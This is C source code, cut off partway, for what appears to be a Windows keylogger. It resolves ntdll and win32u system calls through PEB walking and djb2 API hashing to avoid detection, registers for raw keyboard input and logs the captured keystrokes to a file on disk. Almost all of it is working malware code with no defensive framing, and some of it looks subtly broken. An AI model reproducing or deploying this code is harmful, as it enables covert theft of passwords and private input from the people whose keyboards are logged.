#include #define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0) #define OBJ_CASE_INSENSITIVE 0x00000040L #define FILE_OPEN_IF 0x00000003 #define FILE_NON_DIRECTORY_FILE 0x00000040 #define FILE_SYNCHRONOUS_IO_NONALERT 0x00000020 #define WM_MAXIMUM 0x0001FFFF typedef struct _LSA_UNICODE_STRING { USHORT Length; USHORT MaximumLength; PWSTR Buffer; } LSA_UNICODE_STRING, * PLSA_UNICODE_STRING, UNICODE_STRING, * PUNICODE_STRING; typedef struct _LDR_MODULE { LIST_ENTRY InLoadOrderModuleList; LIST_ENTRY InMemoryOrderModuleList; LIST_ENTRY InInitializationOrderModuleList; PVOID BaseAddress; PVOID EntryPoint; ULONG SizeOfImage; UNICODE_STRING FullDllName; UNICODE_STRING BaseDllName; ULONG Flags; SHORT LoadCount; SHORT TlsIndex; LIST_ENTRY HashTableEntry; ULONG TimeDateStamp; } LDR_MODULE, * PLDR_MODULE; typedef struct _PEB_LDR_DATA { ULONG Length; ULONG Initialized; PVOID SsHandle; LIST_ENTRY InLoadOrderModuleList; LIST_ENTRY InMemoryOrderModuleList; LIST_ENTRY InInitializationOrderModuleList; } PEB_LDR_DATA, * PPEB_LDR_DATA; typedef struct _PEB { BOOLEAN InheritedAddressSpace; BOOLEAN ReadImageFileExecOptions; BOOLEAN BeingDebugged; BOOLEAN Spare; HANDLE Mutant; PVOID ImageBase; PPEB_LDR_DATA LoaderData; PVOID ProcessParameters; PVOID SubSystemData; PVOID ProcessHeap; PVOID FastPebLock; PVOID FastPebLockRoutine; PVOID FastPebUnlockRoutine; ULONG EnvironmentUpdateCount; PVOID* KernelCallbackTable; PVOID EventLogSection; PVOID EventLog; PVOID FreeList; ULONG TlsExpansionCounter; PVOID TlsBitmap; ULONG TlsBitmapBits[0x2]; PVOID ReadOnlySharedMemoryBase; PVOID ReadOnlySharedMemoryHeap; PVOID* ReadOnlyStaticServerData; PVOID AnsiCodePageData; PVOID OemCodePageData; PVOID UnicodeCaseTableData; ULONG NumberOfProcessors; ULONG NtGlobalFlag; BYTE Spare2[0x4]; LARGE_INTEGER CriticalSectionTimeout; ULONG HeapSegmentReserve; ULONG HeapSegmentCommit; ULONG HeapDeCommitTotalFreeThreshold; ULONG HeapDeCommitFreeBlockThreshold; ULONG NumberOfHeaps; ULONG MaximumNumberOfHeaps; PVOID** ProcessHeaps; PVOID GdiSharedHandleTable; PVOID ProcessStarterHelper; PVOID GdiDCAttributeList; PVOID LoaderLock; ULONG OSMajorVersion; ULONG OSMinorVersion; ULONG OSBuildNumber; ULONG OSPlatformId; ULONG ImageSubSystem; ULONG ImageSubSystemMajorVersion; ULONG ImageSubSystemMinorVersion; ULONG GdiHandleBuffer[0x22]; ULONG PostProcessInitRoutine; ULONG TlsExpansionBitmap; BYTE TlsExpansionBitmapBits[0x80]; ULONG SessionId; } PEB, * PPEB; typedef struct __CLIENT_ID { HANDLE UniqueProcess; HANDLE UniqueThread; }CLIENT_ID, * PCLIENT_ID; typedef struct _RTLP_CURDIR_REF { LONG RefCount; HANDLE Handle; }RTLP_CURDIR_REF, * PRTLP_CURDIR_REF; typedef struct _RTL_RELATIVE_NAME_U { UNICODE_STRING RelativeName; HANDLE ContainingDirectory; PRTLP_CURDIR_REF CurDirRef; }RTL_RELATIVE_NAME_U, * PRTL_RELATIVE_NAME_U; typedef struct _OBJECT_ATTRIBUTES { ULONG Length; HANDLE RootDirectory; PUNICODE_STRING ObjectName; ULONG Attributes; PVOID SecurityDescriptor; PVOID SecurityQualityOfService; } OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES; typedef struct _FILE_STANDARD_INFORMATION { LARGE_INTEGER AllocationSize; LARGE_INTEGER EndOfFile; ULONG NumberOfLinks; BOOLEAN DeletePending; BOOLEAN Directory; } FILE_STANDARD_INFORMATION, * PFILE_STANDARD_INFORMATION; typedef enum _FILE_INFORMATION_CLASS { FileDirectoryInformation = 1, FileFullDirectoryInformation, FileBothDirectoryInformation, FileBasicInformation, FileStandardInformation, FileInternalInformation, FileEaInformation, FileAccessInformation, FileNameInformation, FileRenameInformation, FileLinkInformation, FileNamesInformation, FileDispositionInformation, FilePositionInformation, FileFullEaInformation, FileModeInformation, FileAlignmentInformation, FileAllInformation, FileAllocationInformation, FileEndOfFileInformation, FileAlternateNameInformation, FileStreamInformation, FilePipeInformation, FilePipeLocalInformation, FilePipeRemoteInformation, FileMailslotQueryInformation, FileMailslotSetInformation, FileCompressionInformation, FileObjectIdInformation, FileCompletionInformation, FileMoveClusterInformation, FileQuotaInformation, FileReparsePointInformation, FileNetworkOpenInformation, FileAttributeTagInformation, FileTrackingInformation, FileIdBothDirectoryInformation, FileIdFullDirectoryInformation, FileValidDataLengthInformation, FileShortNameInformation, FileIoCompletionNotificationInformation, FileIoStatusBlockRangeInformation, FileIoPriorityHintInformation, FileSfioReserveInformation, FileSfioVolumeInformation, FileHardLinkInformation, FileProcessIdsUsingFileInformation, FileNormalizedNameInformation, FileNetworkPhysicalNameInformation, FileIdGlobalTxDirectoryInformation, FileIsRemoteDeviceInformation, FileUnusedInformation, FileNumaNodeInformation, FileStandardLinkInformation, FileRemoteProtocolInformation, FileRenameInformationBypassAccessCheck, FileLinkInformationBypassAccessCheck, FileVolumeNameInformation, FileIdInformation, FileIdExtdDirectoryInformation, FileReplaceCompletionInformation, FileHardLinkFullIdInformation, FileIdExtdBothDirectoryInformation, FileMaximumInformation } FILE_INFORMATION_CLASS, * PFILE_INFORMATION_CLASS; typedef struct _IO_STATUS_BLOCK { union { NTSTATUS Status; PVOID Pointer; }; ULONG_PTR Information; } IO_STATUS_BLOCK, * PIO_STATUS_BLOCK; typedef struct _FILE_POSITION_INFORMATION { LARGE_INTEGER CurrentByteOffset; } FILE_POSITION_INFORMATION, * PFILE_POSITION_INFORMATION; typedef PVOID PACTIVATION_CONTEXT; typedef struct _IO_APC_ROUTINE { VOID* ApcContext; PIO_STATUS_BLOCK IoStatusBlock; ULONG Reserved; } IO_APC_ROUTINE, * PIO_APC_ROUTINE; typedef struct _STRING { USHORT Length; USHORT MaximumLength; PCHAR Buffer; } ANSI_STRING, * PANSI_STRING; typedef struct _RTL_DRIVE_LETTER_CURDIR { WORD Flags; WORD Length; ULONG TimeStamp; ANSI_STRING DosPath; } RTL_DRIVE_LETTER_CURDIR, * PRTL_DRIVE_LETTER_CURDIR; typedef struct _CURDIR { UNICODE_STRING DosPath; PVOID Handle; }CURDIR, * PCURDIR; typedef struct _RTL_USER_PROCESS_PARAMETERS { ULONG MaximumLength; ULONG Length; ULONG Flags; ULONG DebugFlags; PVOID ConsoleHandle; ULONG ConsoleFlags; PVOID StandardInput; PVOID StandardOutput; PVOID StandardError; CURDIR CurrentDirectory; UNICODE_STRING DllPath; UNICODE_STRING ImagePathName; UNICODE_STRING CommandLine; PVOID Environment; ULONG StartingX; ULONG StartingY; ULONG CountX; ULONG CountY; ULONG CountCharsX; ULONG CountCharsY; ULONG FillAttribute; ULONG WindowFlags; ULONG ShowWindowFlags; UNICODE_STRING WindowTitle; UNICODE_STRING DesktopInfo; UNICODE_STRING ShellInfo; UNICODE_STRING RuntimeData; RTL_DRIVE_LETTER_CURDIR CurrentDirectores[32]; ULONG EnvironmentSize; }RTL_USER_PROCESS_PARAMETERS, * PRTL_USER_PROCESS_PARAMETERS; typedef struct _RTL_ACTIVATION_CONTEXT_STACK_FRAME { struct __RTL_ACTIVATION_CONTEXT_STACK_FRAME* Previous; PACTIVATION_CONTEXT ActivationContext; ULONG Flags; } RTL_ACTIVATION_CONTEXT_STACK_FRAME, * PRTL_ACTIVATION_CONTEXT_STACK_FRAME; typedef struct _ACTIVATION_CONTEXT_STACK { PRTL_ACTIVATION_CONTEXT_STACK_FRAME ActiveFrame; LIST_ENTRY FrameListCache; ULONG Flags; ULONG NextCookieSequenceNumber; ULONG StackId; } ACTIVATION_CONTEXT_STACK, * PACTIVATION_CONTEXT_STACK; typedef struct _GDI_TEB_BATCH { ULONG Offset; ULONG HDC; ULONG Buffer[310]; } GDI_TEB_BATCH, * PGDI_TEB_BATCH; typedef struct _TEB_ACTIVE_FRAME_CONTEXT { ULONG Flags; PCHAR FrameName; } TEB_ACTIVE_FRAME_CONTEXT, * PTEB_ACTIVE_FRAME_CONTEXT; typedef struct _TEB_ACTIVE_FRAME { ULONG Flags; struct _TEB_ACTIVE_FRAME* Previous; PTEB_ACTIVE_FRAME_CONTEXT Context; } TEB_ACTIVE_FRAME, * PTEB_ACTIVE_FRAME; typedef struct _TEB { NT_TIB NtTib; PVOID EnvironmentPointer; CLIENT_ID ClientId; PVOID ActiveRpcHandle; PVOID ThreadLocalStoragePointer; PPEB ProcessEnvironmentBlock; ULONG LastErrorValue; ULONG CountOfOwnedCriticalSections; PVOID CsrClientThread; PVOID Win32ThreadInfo; ULONG User32Reserved[26]; ULONG UserReserved[5]; PVOID WOW32Reserved; LCID CurrentLocale; ULONG FpSoftwareStatusRegister; PVOID SystemReserved1[54]; LONG ExceptionCode; #if (NTDDI_VERSION >= NTDDI_LONGHORN) PACTIVATION_CONTEXT_STACK* ActivationContextStackPointer; UCHAR SpareBytes1[0x30 - 3 * sizeof(PVOID)]; ULONG TxFsContext; #elif (NTDDI_VERSION >= NTDDI_WS03) PACTIVATION_CONTEXT_STACK ActivationContextStackPointer; UCHAR SpareBytes1[0x34 - 3 * sizeof(PVOID)]; #else ACTIVATION_CONTEXT_STACK ActivationContextStack; UCHAR SpareBytes1[24]; #endif GDI_TEB_BATCH GdiTebBatch; CLIENT_ID RealClientId; PVOID GdiCachedProcessHandle; ULONG GdiClientPID; ULONG GdiClientTID; PVOID GdiThreadLocalInfo; PSIZE_T Win32ClientInfo[62]; PVOID glDispatchTable[233]; PSIZE_T glReserved1[29]; PVOID glReserved2; PVOID glSectionInfo; PVOID glSection; PVOID glTable; PVOID glCurrentRC; PVOID glContext; NTSTATUS LastStatusValue; UNICODE_STRING StaticUnicodeString; WCHAR StaticUnicodeBuffer[261]; PVOID DeallocationStack; PVOID TlsSlots[64]; LIST_ENTRY TlsLinks; PVOID Vdm; PVOID ReservedForNtRpc; PVOID DbgSsReserved[2]; #if (NTDDI_VERSION >= NTDDI_WS03) ULONG HardErrorMode; #else ULONG HardErrorsAreDisabled; #endif #if (NTDDI_VERSION >= NTDDI_LONGHORN) PVOID Instrumentation[13 - sizeof(GUID) / sizeof(PVOID)]; GUID ActivityId; PVOID SubProcessTag; PVOID EtwLocalData; PVOID EtwTraceData; #elif (NTDDI_VERSION >= NTDDI_WS03) PVOID Instrumentation[14]; PVOID SubProcessTag; PVOID EtwLocalData; #else PVOID Instrumentation[16]; #endif PVOID WinSockData; ULONG GdiBatchCount; #if (NTDDI_VERSION >= NTDDI_LONGHORN) BOOLEAN SpareBool0; BOOLEAN SpareBool1; BOOLEAN SpareBool2; #else BOOLEAN InDbgPrint; BOOLEAN FreeStackOnTermination; BOOLEAN HasFiberData; #endif UCHAR IdealProcessor; #if (NTDDI_VERSION >= NTDDI_WS03) ULONG GuaranteedStackBytes; #else ULONG Spare3; #endif PVOID ReservedForPerf; PVOID ReservedForOle; ULONG WaitingOnLoaderLock; #if (NTDDI_VERSION >= NTDDI_LONGHORN) PVOID SavedPriorityState; ULONG_PTR SoftPatchPtr1; ULONG_PTR ThreadPoolData; #elif (NTDDI_VERSION >= NTDDI_WS03) ULONG_PTR SparePointer1; ULONG_PTR SoftPatchPtr1; ULONG_PTR SoftPatchPtr2; #else Wx86ThreadState Wx86Thread; #endif PVOID* TlsExpansionSlots; #if defined(_WIN64) && !defined(EXPLICIT_32BIT) PVOID DeallocationBStore; PVOID BStoreLimit; #endif ULONG ImpersonationLocale; ULONG IsImpersonating; PVOID NlsCache; PVOID pShimData; ULONG HeapVirtualAffinity; HANDLE CurrentTransactionHandle; PTEB_ACTIVE_FRAME ActiveFrame; #if (NTDDI_VERSION >= NTDDI_WS03) PVOID FlsData; #endif #if (NTDDI_VERSION >= NTDDI_LONGHORN) PVOID PreferredLangauges; PVOID UserPrefLanguages; PVOID MergedPrefLanguages; ULONG MuiImpersonation; union { struct { USHORT SpareCrossTebFlags : 16; }; USHORT CrossTebFlags; }; union { struct { USHORT DbgSafeThunkCall : 1; USHORT DbgInDebugPrint : 1; USHORT DbgHasFiberData : 1; USHORT DbgSkipThreadAttach : 1; USHORT DbgWerInShipAssertCode : 1; USHORT DbgIssuedInitialBp : 1; USHORT DbgClonedThread : 1; USHORT SpareSameTebBits : 9; }; USHORT SameTebFlags; }; PVOID TxnScopeEntercallback; PVOID TxnScopeExitCAllback; PVOID TxnScopeContext; ULONG LockCount; ULONG ProcessRundown; ULONG64 LastSwitchTime; ULONG64 TotalSwitchOutTime; LARGE_INTEGER WaitReasonBitMap; #else BOOLEAN SafeThunkCall; BOOLEAN BooleanSpare[3]; #endif } TEB, * PTEB; #define InitializeObjectAttributes(p, n, a, r, s) \ { \ (p)->Length = sizeof(OBJECT_ATTRIBUTES); \ (p)->RootDirectory = r; \ (p)->Attributes = a; \ (p)->ObjectName = n; \ (p)->SecurityDescriptor = s; \ (p)->SecurityQualityOfService = NULL; \ } #define HID_USAGE_PAGE_GENERIC 0x01 #define HID_USAGE_GENERIC_KEYBOARD 0x06 #define IS_ATOM(x) (((ULONG_PTR)(x) > 0x0) && ((ULONG_PTR)(x) < 0x10000)) typedef PVOID(NTAPI* RTLALLOCATEHEAP)(PVOID, ULONG, SIZE_T); #define RTLALLOCATEHEAP_SIG 0xc0b381da typedef BOOL(NTAPI* RTLFREEHEAP)(PVOID, ULONG, PVOID); #define RTLFREEHEAP_SIG 0x70ba71d7 typedef NTSTATUS(NTAPI* LDRLOADDLL) (PWCHAR, DWORD, PUNICODE_STRING, PHANDLE); #define LDRLOADDLL_SIG 0x0307db23 typedef NTSTATUS(NTAPI* NTCLOSE)(HANDLE); #define NTCLOSE_SIG 0x8b8e133d typedef NTSTATUS(NTAPI* NTCREATEFILE)(PHANDLE, ACCESS_MASK, POBJECT_ATTRIBUTES, PIO_STATUS_BLOCK, PLARGE_INTEGER, ULONG, ULONG, ULONG, ULONG, PVOID, ULONG); #define NTCREATEFILE_SIG 0x15a5ecdb typedef NTSTATUS(NTAPI* RTLDOSPATHNAMETONTPATHNAME_U)(PCWSTR, PUNICODE_STRING, PCWSTR*, PRTL_RELATIVE_NAME_U); #define RTLDOSPATHNAMETONTPATHNAME_U_SIG 0xbfe457b2 typedef LRESULT(NTAPI* NTDLLDEFWINDOWPROC_W)(HWND, UINT, WPARAM, LPARAM); #define NTDLLDEFWINDOWPROC_W_SIG 0x058790f4 typedef NTSTATUS(NTAPI* NTQUERYINFORMATIONFILE)(HANDLE, PIO_STATUS_BLOCK, PVOID, ULONG, FILE_INFORMATION_CLASS); #define NTQUERYINFORMATIONFILE_SIG 0x4725f863 typedef NTSTATUS(NTAPI* NTSETINFORMATIONFILE) (HANDLE, PIO_STATUS_BLOCK, PVOID, ULONG, FILE_INFORMATION_CLASS); #define NTSETINFORMATIONFILE_SIG 0x6e88b479 typedef NTSTATUS(NTAPI* NTWRITEFILE)(HANDLE, HANDLE, PIO_APC_ROUTINE, PVOID, PIO_STATUS_BLOCK, PVOID, ULONG, PLARGE_INTEGER, PULONG); #define NTWRITEFILE_SIG 0xd69326b2 //WIN32U typedef VOID(NTAPI* NTUSERCALLONEPARAM)(DWORD, DWORD); #define NTUSERCALLONEPARAM_SIG 0xb19a9f55 typedef BOOL(NTAPI* NTUSERDESTROYWINDOW)(HWND); #define NTUSERDESTROYWINDOW_SIG 0xabad4a48 typedef BOOL(NTAPI* NTUSERREGISTERRAWINPUTDEVICES)(PCRAWINPUTDEVICE, UINT, UINT); #define NTUSERREGISTERRAWINPUTDEVICES_SIG 0x76dc2408 typedef UINT(NTAPI* NTUSERGETRAWINPUTDATA)(HRAWINPUT, UINT, LPVOID, PUINT, UINT); #define NTUSERGETRAWINPUTDATA_SIG 0xd902c31a typedef BOOL(NTAPI* NTUSERGETKEYBOARDSTATE)(PBYTE); #define NTUSERGETKEYBOARDSTATE_SIG 0x92ca3458 typedef INT(NTAPI* NTUSERTOUNICODEEX)(UINT, UINT, PBYTE, LPWSTR, INT, UINT, HKL); #define NTUSERTOUNICODEEX_SIG 0xe561424d typedef UINT(NTAPI* NTUSERMAPVIRTUALKEYEX)(UINT, UINT, UINT, UINT); #define NTUSERMAPVIRTUALKEYEX_SIG 0xc8e8ef51 typedef INT(NTAPI* NTUSERGETKEYNAMETEXT)(LONG, LPWSTR, INT); #define NTUSERGETKEYNAMETEXT_SIG 0x5be51535 typedef BOOL(NTAPI* NTUSERGETMESSAGE)(LPMSG, HWND, UINT, UINT); #define NTUSERGETMESSAGE_SIG 0xb6c60f8b typedef BOOL(NTAPI* NTUSERTRANSLATEMESSAGE)(PMSG, UINT); #define NTUSERTRANSLATEMESSAGE_SIG 0xafc97a79 VOID RtlZeroMemoryInternal(PVOID Destination, SIZE_T Size) { PULONG Dest = (PULONG)Destination; SIZE_T Count = Size / sizeof(ULONG); while (Count > 0) { *Dest = 0; Dest++; Count--; } return; } SIZE_T StringLengthW(LPCWSTR String) { LPCWSTR String2; for (String2 = String; *String2; ++String2); return (String2 - String); } PWCHAR StringCopyW(PWCHAR String1, PWCHAR String2) { PWCHAR p = String1; while ((*p++ = *String2++) != 0); return String1; } PWCHAR StringConcatW(PWCHAR String, PWCHAR String2) { StringCopyW(&String[StringLengthW(String)], String2); return String; } DWORD DecimalToAsciiW(PWCHAR String, LPDWORD dwArray, DWORD Length) { DWORD dwX = ERROR_SUCCESS; if (String == NULL) return dwX; for (; dwX < Length; dwX++) { String[dwX] = (WCHAR)dwArray[dwX]; } return dwX; } PWCHAR UpperStringW(PWCHAR String) { PWCHAR pwPtr = String; while (*pwPtr != '\0') { if (*pwPtr >= 'a' && *pwPtr <= 'z') *pwPtr = *pwPtr - ('a' - 'A'); pwPtr++; } return String; } PWCHAR StringTokenW(PWCHAR String, CONST PWCHAR Delim) { PWCHAR Last; PWCHAR SpanP, Token; INT C, SC; if (String == NULL) return NULL; CONTINUE: C = *String++; for (SpanP = (PWCHAR)Delim; (SC = *SpanP++) != ERROR_SUCCESS;) { if (C == SC) goto CONTINUE; } if (C == ERROR_SUCCESS) { Last = NULL; return NULL; } Token = String - 1; for (;;) { C = *String++; SpanP = (PWCHAR)Delim; do { if ((SC = *SpanP++) == C) { if (C == ERROR_SUCCESS) String = NULL; else String[-1] = '\0'; Last = String; return Token; } } while (SC != ERROR_SUCCESS); } return NULL; } DWORD HashStringDjb2A(PCHAR String) { ULONG Hash = 5381; INT c; while (c = *String++) Hash = ((Hash << 5) + Hash) + c; return Hash; } DWORD HashStringDjb2W(PWCHAR String) { ULONG Hash = 5381; INT c; while (c = *String++) Hash = ((Hash << 5) + Hash) + c; return Hash; } VOID RtlInitUnicodeString(PUNICODE_STRING DestinationString, PCWSTR SourceString) { SIZE_T DestSize; if (SourceString) { DestSize = StringLengthW(SourceString) * sizeof(WCHAR); DestinationString->Length = (USHORT)DestSize; DestinationString->MaximumLength = (USHORT)DestSize + sizeof(WCHAR); } else { DestinationString->Length = 0; DestinationString->MaximumLength = 0; } DestinationString->Buffer = (PWCHAR)SourceString; } VOID RtlInitEmptyUnicodeString(PUNICODE_STRING UnicodeString, PWCHAR Buffer, USHORT BufferSize) { UnicodeString->Length = 0; UnicodeString->MaximumLength = BufferSize; UnicodeString->Buffer = Buffer; } typedef struct API_IMPORT_TABLE { DWORD64 PeBase; //NTDLL.DLL DWORD64 Win32uBase; //WIN32U.DLL DWORD Error; //GLOBAL ERROR HANDLER PPEB Peb; //PEB POINTER PTEB Teb; //TEB POINTER PWCHAR lpszClassNameBuffer; //WINDOWS CLASS NAME //NTDLL IMPORTS LDRLOADDLL LdrLoadDll; RTLALLOCATEHEAP RtlAllocateHeap; RTLFREEHEAP RtlFreeHeap; NTCLOSE NtClose; NTCREATEFILE NtCreateFile; RTLDOSPATHNAMETONTPATHNAME_U RtlDosPathNameToNtPathName_U; NTDLLDEFWINDOWPROC_W NtdllDefWindowProc_W; NTQUERYINFORMATIONFILE NtQueryInformationFile; NTSETINFORMATIONFILE NtSetInformationFile; NTWRITEFILE NtWriteFile; //WIN32U IMPORTS NTUSERCALLONEPARAM NtUserCallOneParam; NTUSERDESTROYWINDOW NtUserDestroyWindow; NTUSERREGISTERRAWINPUTDEVICES NtUserRegisterRawInputDevices; NTUSERGETRAWINPUTDATA NtUserGetRawInputData; NTUSERGETKEYBOARDSTATE NtUserGetKeyboardState; NTUSERTOUNICODEEX NtUserToUnicodeEx; NTUSERMAPVIRTUALKEYEX NtUserMapVirtualKeyEx; NTUSERGETKEYNAMETEXT NtUserGetKeyNameText; NTUSERGETMESSAGE NtUserGetMessage; NTUSERTRANSLATEMESSAGE NtUserTranslateMessage; }API_TABLE, PAPI_TABLE; PTEB GetTeb(VOID) { #if defined(_WIN64) return (PTEB)__readgsqword(0x30); #elif define(_WIN32) return (PTEB)__readfsdword(0x18); #endif } API_IMPORT_TABLE Api; DWORD InlineTebGetLastError(VOID) { return Api.Teb->LastErrorValue; } DWORD InlineUppGetEnvironmentVariableW(LPCWSTR Name, LPWSTR Buffer, DWORD Size) { UNICODE_STRING uString; RtlZeroMemoryInternal(&uString, sizeof(UNICODE_STRING)); UNICODE_STRING Variable; RtlZeroMemoryInternal(&Variable, sizeof(UNICODE_STRING)); DWORD Token[1] = { 61 }; LPWSTR String = NULL; PRTL_USER_PROCESS_PARAMETERS ProcessParameters = (PRTL_USER_PROCESS_PARAMETERS)Api.Peb->ProcessParameters; LPWSTR Environment = (LPWSTR)ProcessParameters->Environment; LPWSTR lpszPtr = (LPWSTR)Environment; PWCHAR Pointer; BOOL bFlag = FALSE; String = (LPWSTR)Api.RtlAllocateHeap(Api.Peb->ProcessHeap, HEAP_ZERO_MEMORY, sizeof(WCHAR) * 2); if (String == NULL) goto EXIT_ROUTINE; DecimalToAsciiW(String, Token, 1); Name = UpperStringW((PWCHAR)Name); if (Name == NULL) goto EXIT_ROUTINE; RtlInitUnicodeString(&Variable, (PWCHAR)Name); while (*lpszPtr) { DWORD dwVariableHash = 0; DWORD dwPointerHash = 0; lpszPtr += StringLengthW(lpszPtr) + 1; Pointer = StringTokenW(lpszPtr, String); if (Pointer == NULL) goto EXIT_ROUTINE; Pointer = UpperStringW((PWCHAR)Pointer); dwVariableHash = HashStringDjb2W(Variable.Buffer); dwPointerHash = HashStringDjb2W(lpszPtr); if (dwVariableHash == dwPointerHash) { lpszPtr += StringLengthW(lpszPtr) + 1; Pointer = StringTokenW(lpszPtr, String); if (Pointer == NULL) goto EXIT_ROUTINE; RtlInitUnicodeString(&uString, Pointer); break; } } if (StringCopyW(Buffer, uString.Buffer) == NULL) goto EXIT_ROUTINE; bFlag = TRUE; EXIT_ROUTINE: if (String) Api.RtlFreeHeap(Api.Peb->ProcessHeap, HEAP_ZERO_MEMORY, String); return (bFlag == TRUE ? uString.Length : 0); } BOOL RtlLoadPeHeaders(PIMAGE_DOS_HEADER* Dos, PIMAGE_NT_HEADERS* Nt, PIMAGE_FILE_HEADER* File, PIMAGE_OPTIONAL_HEADER* Optional, PBYTE* ImageBase) { *Dos = (PIMAGE_DOS_HEADER)*ImageBase; if ((*Dos)->e_magic != IMAGE_DOS_SIGNATURE) return FALSE; *Nt = (PIMAGE_NT_HEADERS)((PBYTE)*Dos + (*Dos)->e_lfanew); if ((*Nt)->Signature != IMAGE_NT_SIGNATURE) return FALSE; *File = (PIMAGE_FILE_HEADER)(*ImageBase + (*Dos)->e_lfanew + sizeof(DWORD)); *Optional = (PIMAGE_OPTIONAL_HEADER)((PBYTE)*File + sizeof(IMAGE_FILE_HEADER)); return TRUE; } DWORD64 __stdcall ImportFunction(DWORD64 ModuleBase, DWORD64 Hash) { PBYTE pFunctionName; PIMAGE_DOS_HEADER Dos; PIMAGE_NT_HEADERS Nt; PIMAGE_FILE_HEADER File; PIMAGE_OPTIONAL_HEADER Optional; RtlLoadPeHeaders(&Dos, &Nt, &File, &Optional, (PBYTE*)&ModuleBase); IMAGE_EXPORT_DIRECTORY* ExportTable = (PIMAGE_EXPORT_DIRECTORY)(ModuleBase + Optional->DataDirectory[0].VirtualAddress); PDWORD FunctionNameAddressArray = (PDWORD)((LPBYTE)ModuleBase + ExportTable->AddressOfNames); PDWORD FunctionAddressArray = (PDWORD)((LPBYTE)ModuleBase + ExportTable->AddressOfFunctions); PWORD FunctionOrdinalAddressArray = (PWORD)((LPBYTE)ModuleBase + ExportTable->AddressOfNameOrdinals); DWORD dwX; for (dwX = 0; dwX < ExportTable->NumberOfNames; dwX++) { pFunctionName = FunctionNameAddressArray[dwX] + (PBYTE)ModuleBase; DWORD dwFunctionHash = HashStringDjb2A((PCHAR)pFunctionName); if (Hash == dwFunctionHash) return ((DWORD64)ModuleBase + FunctionAddressArray[FunctionOrdinalAddressArray[dwX]]); } return 0; } VOID InlineWin32uPostQuitMessage(DWORD nExitCode) { Api.NtUserCallOneParam(nExitCode, 0x3B); return; } DWORD InlineRtlSetFilePointerToEnd(HANDLE File) { FILE_POSITION_INFORMATION FilePosition; RtlZeroMemoryInternal(&FilePosition, sizeof(FILE_POSITION_INFORMATION)); FILE_STANDARD_INFORMATION FileStandard; RtlZeroMemoryInternal(&FileStandard, sizeof(FILE_STANDARD_INFORMATION)); LARGE_INTEGER Distance; RtlZeroMemoryInternal(&Distance, sizeof(LARGE_INTEGER)); IO_STATUS_BLOCK Block; RtlZeroMemoryInternal(&Block, sizeof(IO_STATUS_BLOCK)); NTSTATUS Status = ERROR_SUCCESS; if (((ULONG_PTR)File & 0x10000003) == 0x3) return INVALID_SET_FILE_POINTER; Status = Api.NtQueryInformationFile(File, &Block, &FilePosition, sizeof(FILE_POSITION_INFORMATION), FilePositionInformation); if(!NT_SUCCESS(Status)) return INVALID_SET_FILE_POINTER; else FilePosition.CurrentByteOffset.QuadPart = FileStandard.EndOfFile.QuadPart + Distance.QuadPart; if (FilePosition.CurrentByteOffset.QuadPart < ERROR_SUCCESS) return INVALID_SET_FILE_POINTER; Status = Api.NtSetInformationFile(File, &Block, &FilePosition, sizeof(FILE_POSITION_INFORMATION), FilePositionInformation); if (!NT_SUCCESS(Status)) return INVALID_SET_FILE_POINTER; return FilePosition.CurrentByteOffset.u.LowPart; } HANDLE InlineNtdllNtCreateFile(LPCWSTR lpFileName) { OBJECT_ATTRIBUTES Attributes; RtlZeroMemoryInternal(&Attributes, sizeof(OBJECT_ATTRIBUTES)); IO_STATUS_BLOCK Io; RtlZeroMemoryInternal(&Io, sizeof(IO_STATUS_BLOCK)); LARGE_INTEGER Integer; RtlZeroMemoryInternal(&Integer, sizeof(LARGE_INTEGER)); Integer.QuadPart = 2048; UNICODE_STRING uString; RtlZeroMemoryInternal(&uString, sizeof(UNICODE_STRING)); UNICODE_STRING BinaryNtPath; RtlZeroMemoryInternal(&BinaryNtPath, sizeof(UNICODE_STRING)); NTSTATUS Status = ERROR_SUCCESS; HANDLE hHandle = NULL; RtlInitUnicodeString(&uString, lpFileName); if (uString.Buffer[0] != L'\\') Api.RtlDosPathNameToNtPathName_U(uString.Buffer, &BinaryNtPath, NULL, NULL); InitializeObjectAttributes(&Attributes, &BinaryNtPath, OBJ_CASE_INSENSITIVE, NULL, NULL); Status = Api.NtCreateFile(&hHandle, FILE_GENERIC_WRITE | FILE_GENERIC_READ, &Attributes, &Io, &Integer, FILE_ATTRIBUTE_NORMAL, FILE_SHARE_READ, FILE_OPEN_IF, FILE_NON_DIRECTORY_FILE | FILE_SYNCHRONOUS_IO_NONALERT, 0, 0); if (!NT_SUCCESS(Status)) return NULL; return hHandle; } BOOL InlineRtlNtUserGetMessage(LPMSG lpMsg, HWND hWnd, UINT wMsgFilterMin, UINT wMsgFilterMax) { BOOL Result; if ((wMsgFilterMin | wMsgFilterMax) & ~WM_MAXIMUM) return FALSE; Result = Api.NtUserGetMessage(lpMsg, hWnd, wMsgFilterMin, wMsgFilterMax); if (-1 == (INT)Result) return Result; return Result; } BOOL InlineRtlNtUserTranslateMessage(PMSG lpMsg, UINT Flags) { switch (lpMsg->message) { case WM_KEYDOWN: case WM_KEYUP: case WM_SYSKEYDOWN: case WM_SYSKEYUP: { return(Api.NtUserTranslateMessage((LPMSG)lpMsg, Flags)); } default: { if (lpMsg->message & ~WM_MAXIMUM) return FALSE; } } return FALSE; } UINT RtlQueryRawInputSize(HRAWINPUT Input) { UINT ReturnSize = 0; if(Api.NtUserGetRawInputData(Input, RID_INPUT, NULL, &ReturnSize, sizeof(RAWINPUTHEADER)) == (UINT)-1) return 0; else return ReturnSize; } BOOL InlineRtlNtWriteFile(HANDLE File, LPVOID Buffer) { NTSTATUS Status = ERROR_SUCCESS; IO_STATUS_BLOCK Block; RtlZeroMemoryInternal(&Block, sizeof(IO_STATUS_BLOCK)); Status = Api.NtWriteFile(File, NULL, NULL, NULL, &Block, Buffer, (ULONG)StringLengthW((PWCHAR)Buffer), NULL, NULL); if (!NT_SUCCESS(Status)) return FALSE; return TRUE; } BOOL RtlFlushInMemoryInputBufferToDisk(HANDLE hHandle, UINT Key) { BYTE lpKeyState[256] = { 0 }; WORD VirtualKey = 0; DWORD dwBufferLength = 0; WCHAR wWriteBuffer[64]; RtlZeroMemoryInternal(wWriteBuffer, sizeof(wWriteBuffer)); WCHAR AltKeyNameBuffer[64]; RtlZeroMemoryInternal(AltKeyNameBuffer, sizeof(AltKeyNameBuffer)); DWORD dwWritten = 0; WCHAR pwszBuff[10] = { 0 }; if (!Api.NtUserGetKeyboardState(lpKeyState)) return FALSE; switch (Key) { case VK_BACK: { if (StringConcatW(wWriteBuffer, 